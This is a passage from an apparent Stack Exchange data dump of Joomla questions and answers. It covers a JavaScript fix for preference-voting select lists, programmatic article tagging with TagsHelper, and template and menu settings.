echo Text::_('JCANCEL'); ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;option&amp;quot; value=&amp;quot;com_mycomponent&amp;quot;/&amp;gt;&#xA;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;task&amp;quot; value=&amp;quot;voterform.save&amp;quot;/&amp;gt;&#xA;&amp;lt;?php echo HTMLHelper::_('form.token'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDITED: since reviewing the original code I've updated the above and with a hope I may get an ajax answer, I've moved the selection list to a helper called MyajaxHelper and the code is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    /**&#xA; * Create a selection list for preferential voting&#xA; * @param   object  $nom  nomination object&#xA; * @param   integer $qtyNoms number of nominations for this position&#xA; * @param   integer $posID  id reference of the position&#xA; * @return  selection list box&#xA; */&#xA;public static function displayPrefVoteOptions($nom, $qtyNoms, $posID)&#xA;{&#xA;    // Load admin language file&#xA;    $lang = Factory::getApplication()-&amp;gt;getLanguage();&#xA;    $lang-&amp;gt;load('com_mycomponent', JPATH_ADMINISTRATOR);&#xA;&#xA;    // setup array of the votes per option&#xA;    $nomVotes = \range(1,$qtyNoms,1);&#xA;    \arsort($nomVotes);&#xA;    $i=1;&#xA;&#xA;    $selectList = '&amp;lt;div class=&amp;quot;selectlist&amp;quot;&amp;gt;';&#xA;    $selectList .= '&amp;lt;label id=&amp;quot;jform_nom_ids_lbl&amp;quot; for=&amp;quot;jform_nom_ids_'.$posID.'&amp;quot; class=&amp;quot;selectlist&amp;quot;&amp;gt;';&#xA;    $selectList .= '&amp;lt;div style=&amp;quot;width:230px;float:left;&amp;quot;&amp;gt;'.$nom-&amp;gt;nomination_name.'&amp;lt;/div&amp;gt;';&#xA;    $selectList .= '&amp;lt;div style=&amp;quot;with:100px;float:right;&amp;quot;&amp;gt;';&#xA;    $selectList .= '&amp;lt;select id=&amp;quot;jform_nom_ids_'.$posID.'&amp;quot; name=&amp;quot;jform[nom_ids][nom_id_'.$posID.'_'.$nom-&amp;gt;id.']&amp;quot;&amp;gt;';&#xA;&#xA;    foreach ($nomVotes as $vote) {&#xA;        $nf = new \NumberFormatter('en_GB', \NumberFormatter::ORDINAL);&#xA;        $sel = $nf-&amp;gt;format($i);&#xA;&#xA;        if ($i == 1) {&#xA;            $selectList .= '&amp;lt;option value=&amp;quot;0&amp;quot; &amp;gt;'.Text::_('MYCOMPONENT_NO_VOTE').'&amp;lt;/option&amp;gt;';&#xA;        }&#xA;        $selectList .= '&amp;lt;option value=&amp;quot;'.$vote.'&amp;quot; &amp;gt;'.Text::sprintf('COM_MYCOMPONENT_PREF_SELECTION', $sel).'&amp;lt;/option&amp;gt;';&#xA;&#xA;    }&#xA;    $selectList .= '&amp;lt;/select&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    &#xA;    return  $selectList;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1985" LastEditorUserId="1985" LastEditDate="2023-03-12T06:32:16.517" LastActivityDate="2023-03-15T07:04:14.830" Title="Use Ajax to refresh available options" Tags="|joomla-4.x|ajax|select|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="32868" PostTypeId="2" ParentId="32866" CreationDate="2023-03-12T18:42:31.690" Score="2" Body="&lt;p&gt;You put a lot of work into this already as I see. Since you preload the Form with all the options, you do not have to load the options again and again from PHP (from the server). So according to my approach and understanding of this task, you do not need an Ajax call for this at all.&lt;/p&gt;&#xA;&lt;p&gt;What you need is a Javascript  script that is updating the possible options (preferences pool) after one option was already selected for a Position.&lt;/p&gt;&#xA;&lt;p&gt;I created an abstract of this problem with Javascript and HTML. I really hope I understood the explained task well:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The HTML Form:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&amp;quot;&amp;quot; id=&amp;quot;myform&amp;quot;&amp;gt;&#xA;  &amp;lt;label for=&amp;quot;cars&amp;quot;&amp;gt;Choose a car:&amp;lt;/label&amp;gt;&#xA;  &amp;lt;select name=&amp;quot;cars&amp;quot; id=&amp;quot;cars&amp;quot;&amp;gt;&#xA;  &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;--Please choose an option--&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;volvo&amp;quot;&amp;gt;Volvo&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;saab&amp;quot;&amp;gt;Saab&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;opel&amp;quot;&amp;gt;Opel&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;audi&amp;quot;&amp;gt;Audi&amp;lt;/option&amp;gt;&#xA;  &amp;lt;/select&amp;gt;&#xA;  &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;  &amp;lt;label for=&amp;quot;ships&amp;quot;&amp;gt;Choose a ship:&amp;lt;/label&amp;gt;&#xA;  &amp;lt;select name=&amp;quot;ships&amp;quot; id=&amp;quot;ships&amp;quot;&amp;gt;&#xA;  &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;--Please choose an option--&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;volvo&amp;quot;&amp;gt;Volvo&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;saab&amp;quot;&amp;gt;Saab&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;opel&amp;quot;&amp;gt;Opel&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;audi&amp;quot;&amp;gt;Audi&amp;lt;/option&amp;gt;&#xA;  &amp;lt;/select&amp;gt;&#xA;  &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;  &amp;lt;label for=&amp;quot;drones&amp;quot;&amp;gt;Choose a drone:&amp;lt;/label&amp;gt;&#xA;  &amp;lt;select name=&amp;quot;drones&amp;quot; id=&amp;quot;drones&amp;quot;&amp;gt;&#xA;  &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;--Please choose an option--&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;volvo&amp;quot;&amp;gt;Volvo&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;saab&amp;quot;&amp;gt;Saab&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;opel&amp;quot;&amp;gt;Opel&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;audi&amp;quot;&amp;gt;Audi&amp;lt;/option&amp;gt;&#xA;  &amp;lt;/select&amp;gt;&#xA;  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Submit&amp;quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We can say, the Form provides different Selection sections but with the same options in all of the selection sections, so &lt;strong&gt;different positions but same nominees&lt;/strong&gt;. The options are given, we do not have to load those again and again from the server in this case.&lt;/p&gt;&#xA;&lt;p&gt;We just have to remove the already selected items from the possible options from the other select sections. And I just wrote a custom pure javascript code for this task. You have to load this JS script in your custom JS file on the page where your Form is:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;(you have to change &lt;code&gt;'myform'&lt;/code&gt; Form id to your own &lt;code&gt;'form-voter'&lt;/code&gt; in this script)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;window.addEventListener(&amp;quot;load&amp;quot;, () =&amp;gt; {&#xA;&#xA;    // add your form id to the selector!        &#xA;    const form1 = document.getElementById('myform');&#xA;    &#xA;    const selectEl = form1.querySelectorAll('select');     &#xA;&#xA;    selectEl.forEach((selEl) =&amp;gt; {&#xA;        &#xA;        selEl.addEventListener(&amp;quot;change&amp;quot;, () =&amp;gt; {&#xA;            &#xA;            const opsCollection = selEl.options;&#xA;            &#xA;            let indexValue = selEl.options[selEl.selectedIndex];&#xA;            let textValue = indexValue.text;&#xA;            &#xA;            deleteEl(form1, textValue);&#xA;            addOption(selEl, textValue);                &#xA;        });&#xA;    });&#xA;});&#xA;&#xA;function deleteEl (form, textValue) {&#xA;    const selectEl2 = form.querySelectorAll('select');&#xA;    for (let index = 0; index &amp;lt; selectEl2.length; index++) {&#xA;        const opsCollection = selectEl2[index].options;&#xA;        &#xA;        for (let i = 0; i &amp;lt; opsCollection.length; i++) {&#xA;                                    &#xA;            if (opsCollection[i].text == textValue  ) {            &#xA;                selectEl2[index].removeChild(opsCollection[i]);&#xA;            }&#xA;        };            &#xA;    }    &#xA;}&#xA;&#xA;function addOption(el, value) {&#xA;    const opt = document.createElement('option');&#xA;    opt.value = opt.text = value;&#xA;    el.appendChild(opt);&#xA;    opt.selected = true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And here you can check this whole script in operation:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://jsfiddle.net/go4zdm6w/3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://jsfiddle.net/go4zdm6w/3/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Updated with using option field integer value: &lt;a href=&quot;https://jsfiddle.net/9v7yde6r/1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://jsfiddle.net/9v7yde6r/1/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This script can theoretically handle as many select sections and options as you want. It could be optimized with a few lines here and there of course, but I think this is basically what you need. I really hope this will help you after seeing how hard work you already put into this.&lt;/p&gt;&#xA;&lt;p&gt;Around 2 years ago I posted a longer write-up about how to load items dynamically in selection Form fields from the database in Joomla 3, using Ajax. But that is for a bit different task:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/28763/how-to-dynamically-reload-admin-form-fields-in-joomla/28779#28779&quot;&gt;How to dynamically reload admin-form-fields in Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;SECOND RUN&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I updated the code with the bit deeper understanding of the task. Actually we only need the array from PHP, all other things can be handled by Javascript dynamically:&lt;/p&gt;&#xA;&lt;p&gt;the HTML loaded with PHP:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;container&amp;quot; class=&amp;quot;created-form&amp;quot;&amp;gt;&#xA;&amp;lt;h2&amp;gt;Position 1&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;div id=&amp;quot;selection-area&amp;quot;&amp;gt;&#xA;        &amp;lt;form action=&amp;quot;&amp;quot; id=&amp;quot;form3&amp;quot;&amp;gt;&#xA;        &amp;lt;label for=&amp;quot;nom-select&amp;quot;&amp;gt;Choose a nominee:&amp;lt;/label&amp;gt;&#xA;            &amp;lt;select&amp;gt;&amp;lt;/select&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And the Javascript part:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;window.addEventListener(&amp;quot;load&amp;quot;, () =&amp;gt; {&#xA;&#xA;    // this array should be provided by PHP&#xA;    const positions = ['Foo', 'Bar', 'Baz', 'Gaz'];&#xA;&#xA;    // this array should be provided by PHP&#xA;    const nominees = [&amp;quot;Select nominee&amp;quot;, 'Adam', 'Stewart', 'David', 'Joe', 'Margaret'];&#xA;&#xA;    const prefCount = nominees.length - 1 ;&#xA;&#xA;    const createdForm = document.getElementById('form3');&#xA;&#xA;    const select1 = createdForm.querySelector('select');&#xA;&#xA;    let options = nominees.map(nominee =&amp;gt; `&amp;lt;option value=${nominee}&amp;gt;${nominee}&amp;lt;/option&amp;gt;`).join('\n');&#xA;    select1.innerHTML = options;&#xA;&#xA;    let selectedPref = null;&#xA;&#xA;    let selectedPrefTexts = [];    &#xA;&#xA;    let counter1 = 0&#xA;&#xA;    select1.addEventListener(&amp;quot;change&amp;quot;, (sel) =&amp;gt; {&#xA;&#xA;        counter1++;&#xA;&#xA;        if (counter1 &amp;lt;= prefCount) {  &#xA;&#xA;            const selValue = select1.options[select1.selectedIndex].text;&#xA;&#xA;            let prefLabel = document.createElement(&amp;quot;h4&amp;quot;);&#xA;            prefLabel.innerHTML = &amp;quot;Select preference for &amp;quot; + selValue;            &#xA;&#xA;            let prefSelect = document.createElement('select');&#xA;            createdForm.appendChild(prefLabel);&#xA;            createdForm.appendChild(prefSelect);&#xA;&#xA;            const prefSelection = addOption(prefCount, prefSelect, createdForm, selectedPref, selectedPrefTexts);&#xA;&#xA;            // we do not want the already selected nominee in options&#xA;            deleteNomOption(select1); &#xA;&#xA;            // disable nominees until preference will be selected for the selected nominee&#xA;            select1.setAttribute(&amp;quot;disabled&amp;quot;, &amp;quot;true&amp;quot;);          &#xA;            &#xA;            prefSelection.addEventListener(&amp;quot;change&amp;quot;, () =&amp;gt; {&#xA;                selectedPref = prefSelection.options[prefSelection.selectedIndex].text;&#xA;                selectedPrefTexts.push(selectedPref);&#xA;                &#xA;                let noticeNext = '&amp;lt;p id=&amp;quot;short-notice&amp;quot; style=&amp;quot;color: green; font-weigth: bold;&amp;quot;&amp;gt;Select another nominee&amp;lt;/p&amp;gt;';&#xA;                let thanksText = '&amp;lt;p id=&amp;quot;thanks-notice&amp;quot; style=&amp;quot;color: green; font-weigth: bold;&amp;quot;&amp;gt;Thank you, please submit&amp;lt;/p&amp;gt;'&#xA;                if (counter1 &amp;lt; prefCount) {&#xA;                    prefSelect.insertAdjacentHTML(&amp;quot;afterend&amp;quot;, noticeNext);                    &#xA;                } else {&#xA;                    prefSelect.insertAdjacentHTML(&amp;quot;afterend&amp;quot;, thanksText);&#xA;                }&#xA;               &#xA;                prefSelection.setAttribute(&amp;quot;disabled&amp;quot;, &amp;quot;true&amp;quot;);&#xA;&#xA;                // re-enable nominee select for the next nominee selection&#xA;                select1.removeAttribute(&amp;quot;disabled&amp;quot;);&#xA;            });&#xA;        }&#xA;&#xA;        // adding a submit button when everything is selected&#xA;        if (counter1 == prefCount) {&#xA;            let subBtn = '&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Submit&amp;quot; style=&amp;quot;display: block; margin-top:0.8rem;&amp;quot;&amp;gt;';&#xA;            createdForm.insertAdjacentHTML(&amp;quot;beforeend&amp;quot;, subBtn);&#xA;&#xA;            // with click on submit we have to remove preferences' select fields 'disabled' attribute!!!!! -- ( element.removeAttribute(&amp;quot;disabled&amp;quot;) )&#xA;            // this function should be added here&#xA;            // or at every selection we should collect the selected data and submit that to the server as a prepared json object.&#xA;        }&#xA;&#xA;    }); &#xA;&#xA;});&#xA;&#xA;function addOption(count, el, form, selectedPref, selectedVals) {&#xA;    for (let index = 0; index &amp;lt; count+1; index++) {&#xA;            &#xA;        let prefOption = document.createElement('option');&#xA;        if (index == 0) {&#xA;            prefOption.innerHTML = &amp;quot;Select Preference&amp;quot;&#xA;            el.appendChild(prefOption);&#xA;            continue;&#xA;        }&#xA;        &#xA;        if (!selectedVals.includes(&amp;quot;Preference &amp;quot; + (index))) {&#xA;            prefOption.value = &amp;quot;Preference &amp;quot; + (index);&#xA;            prefOption.innerHTML = &amp;quot;Preference &amp;quot; + (index);&#xA;            el.appendChild(prefOption);&#xA;        }      &#xA;                       &#xA;    }&#xA;&#xA;    return el;&#xA;}&#xA;&#xA;function deleteNomOption(el) {    &#xA;    el.options[el.selectedIndex].remove();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So this is the updated basic code of how I understood this task in structure and functionality. This could be still improved a lot with styling, and with little bit of modification here and there if we have much more time.&lt;/p&gt;&#xA;&lt;p&gt;You can check and try this code in operation too on jsfiddle if it is reachable:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://jsfiddle.net/tyvanmqf/1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://jsfiddle.net/tyvanmqf/1/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2023-03-15T07:04:14.830" LastActivityDate="2023-03-15T07:04:14.830" CommentCount="18" ContentLicense="CC BY-SA 4.0" />
  <row Id="32870" PostTypeId="1" CreationDate="2023-03-13T14:12:40.217" Score="3" ViewCount="329" Body="&lt;p&gt;I am trying to tag some items (com_content.article) programmatically, and I have an issue while trying to use the &lt;strong&gt;TagsHelper&lt;/strong&gt; class' &lt;strong&gt;tagItem&lt;/strong&gt; method. I am not an expert in Joomla and I am a bit lost.&lt;/p&gt;&#xA;&lt;p&gt;I get the following error (below the call stack):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;1048 Column 'type_alias' cannot be null&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It seems that the helper does not manage to get the type_alias (which should be com_content.article) from my $table object... Does anyone see how I could help it?&lt;/p&gt;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Table\Table;&#xA;use Joomla\CMS\Helper\TagsHelper;&#xA;&#xA;[...]&#xA;&#xA;$helpertags = new TagsHelper();&#xA;$table = Table::getInstance('Content', 'JTable', array());&#xA;$table-&amp;gt;load($id_article);&#xA;$tags = array( 321, 43 ); // IDs of some tags I created or checked before&#xA;$helpertags-&amp;gt;tagItem('com_content.article', $table, $tags, false);&#xA;$table-&amp;gt;store();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;1   ()  JROOT/libraries/vendor/joomla/database/src/Mysqli/MysqliStatement.php:435&#xA;&#xA;2   Joomla\Database\Mysqli\MysqliStatement-&amp;gt;execute()   JROOT/libraries/vendor/joomla/database/src/DatabaseDriver.php:675&#xA;&#xA;3   Joomla\Database\DatabaseDriver-&amp;gt;execute()   JROOT/libraries/src/Helper/TagsHelper.php:126&#xA;&#xA;4   Joomla\CMS\Helper\TagsHelper-&amp;gt;addTagMapping()   JROOT/libraries/src/Helper/TagsHelper.php:1043&#xA;&#xA;5   Joomla\CMS\Helper\TagsHelper-&amp;gt;tagItem()     JROOT/administrator/components/com_jsonems/tmpl/hello/default.php:151&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16956" LastEditorUserId="12352" LastEditDate="2023-03-14T21:59:50.143" LastActivityDate="2023-08-16T16:08:11.007" Title="Tag Item programmatically" Tags="|articles|tags|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32871" PostTypeId="2" ParentId="32870" CreationDate="2023-03-13T14:23:02.550" Score="0" Body="&lt;p&gt;The error message &amp;quot;Column 'type_alias' cannot be null&amp;quot; suggests that the type_alias field in the #__content_types table is not being set correctly when you are trying to tag the content item.&lt;/p&gt;&#xA;&lt;p&gt;To fix this issue, you can try setting the type_alias field of your $table object explicitly before calling the tagItem() method. You can set the type_alias field to 'com_content.article' which is the expected value for this type of content item.&lt;/p&gt;&#xA;&lt;p&gt;Here is how you can modify your code to set the type_alias field:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Table\Table;&#xA;use Joomla\CMS\Helper\TagsHelper;&#xA;&#xA;[...]&#xA;&#xA;$helpertags = new TagsHelper();&#xA;$table = Table::getInstance('Content', 'JTable', array());&#xA;$table-&amp;gt;load($id_article);&#xA;$table-&amp;gt;type_alias = 'com_content.article'; // set the type_alias field&#xA;$tags = array( 321, 43 ); // IDs of some tags I created or checked before&#xA;$helpertags-&amp;gt;tagItem('com_content.article',$table,$tags, false);&#xA;$table-&amp;gt;store();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16521" LastActivityDate="2023-03-13T14:23:02.550" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32872" PostTypeId="1" CreationDate="2023-03-13T17:11:26.430" Score="0" ViewCount="84" Body="&lt;p&gt;I am using a Category Blog to show items from 2 categories using the subcategory option.&lt;/p&gt;&#xA;&lt;p&gt;Cat 1&#xA;---- article 1&#xA;---- article 2&#xA;---- article 3&lt;/p&gt;&#xA;&lt;p&gt;Cat 2&#xA;---- article 1&#xA;---- article 2&#xA;---- article 3&lt;/p&gt;&#xA;&lt;p&gt;All of the items are successfully being rendered on the page BUT there is no Category title (&amp;quot;Cat1&amp;quot; &amp;amp; &amp;quot;Cat2&amp;quot;)? Am I missing something here in the settings or is really not an option!?&lt;/p&gt;&#xA;" OwnerUserId="7998" LastActivityDate="2023-03-13T17:11:26.430" Title="Joomla 4 - Subcategory title in category blog" Tags="|joomla-4.x|category-blog|cassiopeia|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32873" PostTypeId="2" ParentId="32856" CreationDate="2023-03-14T11:00:09.630" Score="1" Body="&lt;p&gt;I had included the Bootstrap dist JS file not realising and it was messing with this functionality. I removed the line and all was well.&lt;/p&gt;&#xA;" OwnerUserId="7998" LastActivityDate="2023-03-14T11:00:09.630" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32874" PostTypeId="1" AcceptedAnswerId="32878" CreationDate="2023-03-15T09:11:54.263" Score="0" ViewCount="421" Body="&lt;p&gt;I just want to create a new color scheme and replace the root primary colors with it, how do I proceed?&lt;/p&gt;&#xA;" OwnerUserId="16521" LastActivityDate="2024-02-07T20:49:47.327" Title="Setting template color scheme" Tags="|templates|joomla-4.x|overrides|template-override|cassiopeia|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32875" PostTypeId="2" ParentId="32874" CreationDate="2023-03-15T09:17:36.513" Score="0" Body="&lt;p&gt;So the solution was to go to the original cassiopiea's files and copy the css/global over to your own template. This will contain all the primary, secondary and alternative colors.&lt;/p&gt;&#xA;" OwnerUserId="16521" LastActivityDate="2023-03-15T09:17:36.513" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32876" PostTypeId="1" AcceptedAnswerId="32934" CreationDate="2023-03-15T13:04:21.393" Score="1" ViewCount="101" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KVDhx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KVDhx.png&quot; alt=&quot;Menu Heading not selectable&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I want to add a list of menu items, and I want it to dynamically populate.  I thought I could just use the menu module.  I want only the sub/child items from &amp;quot;preparations and repairs&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Because the menu is a type of &amp;quot;menu heading&amp;quot; I cannot choose it.  I don't want to make it any other type of menu item.  Does anyone know what code I would need to change for this?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2023-04-05T11:50:46.797" Title="Joomla Menu Module with a Menu Heading as the base item" Tags="|module|menu|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32877" PostTypeId="2" ParentId="32870" CreationDate="2023-03-15T16:38:06.607" Score="2" Body="&lt;p&gt;&lt;strong&gt;The shortest possible working version&lt;/strong&gt; of this code is this as I tested this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Helper\TagsHelper;&#xA;&#xA;function addTagsToArticle($ucmId, $articleId, $tags) {&#xA;&#xA;    $tagsHelper = new TagsHelper();&#xA;&#xA;    $app = Factory::getApplication();&#xA;    $factory = $app-&amp;gt;bootComponent('com_content')-&amp;gt;getMVCFactory();&#xA;&#xA;    $table = $factory-&amp;gt;createTable('Article', 'Table');&#xA;    &#xA;    $table-&amp;gt;load($articleId);&#xA;&#xA;    $tagsHelper-&amp;gt;typeAlias = $table-&amp;gt;typeAlias;&#xA;&#xA;    $tagsHelper-&amp;gt;tagItem($ucmId, $table, $tags, false);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And you call this function like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$newTags = ['#new#Millions', '#new#Worldwide'];&#xA;&#xA;$ucmId = 5; // core_content_id of the article from ucm_content table&#xA;&#xA;$itemID = 11; // article ID in #__content table&#xA;&#xA;addTagsToArticle($ucmId, $itemID, $newTags);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This way the code works and save new tags to an article. without the &lt;code&gt;store()&lt;/code&gt; method at the end, it is not needed, and the tags has to be with &lt;code&gt;#new#&lt;/code&gt; prefix in the array.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;THE LONG WAY OF DOING THE SAME&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have tested some codes more deeply regarding tagging content items &lt;strong&gt;in Joomla 4&lt;/strong&gt;. I am not sure that too many people want to tag articles/content programmatically and I do not think that there is any official way of doing that but this is one way of doing that. Someone really worked out a quite good and complex tagging system for Joomla and I just took some parts from that core code and you can use it in your own custom methods.&lt;/p&gt;&#xA;&lt;p&gt;First I created a function &lt;code&gt;createNewTags()&lt;/code&gt; using the Joomla4 core &lt;code&gt;createTagsFromField()&lt;/code&gt; from the &lt;code&gt;TagsHelper&lt;/code&gt; class. I used that because it is not worthy to create similar function and it is sure that it works well on saving new tags. If a tag was already in the tag table, then it does not save it again. However, we have to modify the core &lt;code&gt;addTagMapping()&lt;/code&gt; method for our custom code.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Component\ComponentHelper;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Helper\TagsHelper;&#xA;use Joomla\CMS\UCM\UCMType;&#xA;use Joomla\Database\DatabaseDriver;&#xA;use Joomla\Database\ParameterType;&#xA;use Joomla\Utilities\ArrayHelper;&#xA;&#xA;/**&#xA;* create new tags by array of strings (texts)&#xA;* @param   array    $tags   Array of tags to be applied. &#xA;*&#xA;* @return  array  -- created tags&#xA;*/&#xA;&#xA;function createNewTags($tags = []) {&#xA;&#xA;    $tagsHelper = new TagsHelper();&#xA;&#xA;    $new_tags = array_map(fn($tag) =&amp;gt; &amp;quot;#new#$tag&amp;quot;, $tags);&#xA;&#xA;    // create tags first and save it&#xA;    $tags_ids = $tagsHelper-&amp;gt;createTagsFromField($new_tags);&#xA;&#xA;    return $tags_ids;&#xA;}&#xA;&#xA;// we have to create our own custom function for mapping&#xA;function addTagMapping($ucmId, $contentId, $table, $tags = [])&#xA;{&#xA;    $db = $table-&amp;gt;getDbo();&#xA;    $item = $contentId;&#xA;    $ucm = new UCMType($table-&amp;gt;typeAlias, $db);&#xA;    $typeId = $ucm-&amp;gt;getTypeId();&#xA;&#xA;    // Prevent saving duplicate tags&#xA;    $tags = array_values(array_unique($tags));&#xA;&#xA;    if (!$tags) {&#xA;        return true;&#xA;    }&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;insert('#__contentitem_tag_map');&#xA;    $query-&amp;gt;columns(&#xA;        [&#xA;            $db-&amp;gt;quoteName('core_content_id'),&#xA;            $db-&amp;gt;quoteName('content_item_id'),&#xA;            $db-&amp;gt;quoteName('tag_id'),&#xA;            $db-&amp;gt;quoteName('type_id'),&#xA;            $db-&amp;gt;quoteName('type_alias'),&#xA;            $db-&amp;gt;quoteName('tag_date'),&#xA;        ]&#xA;    );&#xA;&#xA;    foreach ($tags as $tag) {&#xA;        $query-&amp;gt;values(&#xA;            implode(&#xA;                ',',&#xA;                array_merge(&#xA;                    $query-&amp;gt;bindArray([(int) $ucmId, (int) $item, (int) $tag, (int) $typeId]),&#xA;                    $query-&amp;gt;bindArray([$table-&amp;gt;typeAlias], ParameterType::STRING),&#xA;                    [$query-&amp;gt;currentTimestamp()]&#xA;                )&#xA;            )&#xA;        );&#xA;    }&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;&#xA;    return (bool) $db-&amp;gt;execute();&#xA;}&#xA;&#xA;function tagThoseArticleItems($ucmId, $itemID, $ourTags = [], $replace = true) {&#xA;&#xA;    $tagsHelper = new TagsHelper();  &#xA;    $tags = $tagsHelper-&amp;gt;createNewTags($ourTags);&#xA;&#xA;    $app = Factory::getApplication();&#xA;    $factory = $app-&amp;gt;bootComponent('com_content')-&amp;gt;getMVCFactory();&#xA;&#xA;    $table = $factory-&amp;gt;createTable('Article', 'Table');    &#xA;    &#xA;    $tagsHelper-&amp;gt;typeAlias = $table-&amp;gt;typeAlias;&#xA;    // $table-&amp;gt;setTagsHelper($tagsHelper); // only if the table does not have it&#xA;&#xA;    foreach ($tags as $tagId) {&#xA;        $tagsHelper-&amp;gt;tagDeleteInstances($tagId);&#xA;    }&#xA;    &#xA;    // we have to use our own custom function on this&#xA;    // with added itemID (content item ID) to the call&#xA;    $result = addTagMapping($ucmId, $itemID, $table, $tags, $replace = true);&#xA;&#xA;    return $result;&#xA;    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And you call this whole thing 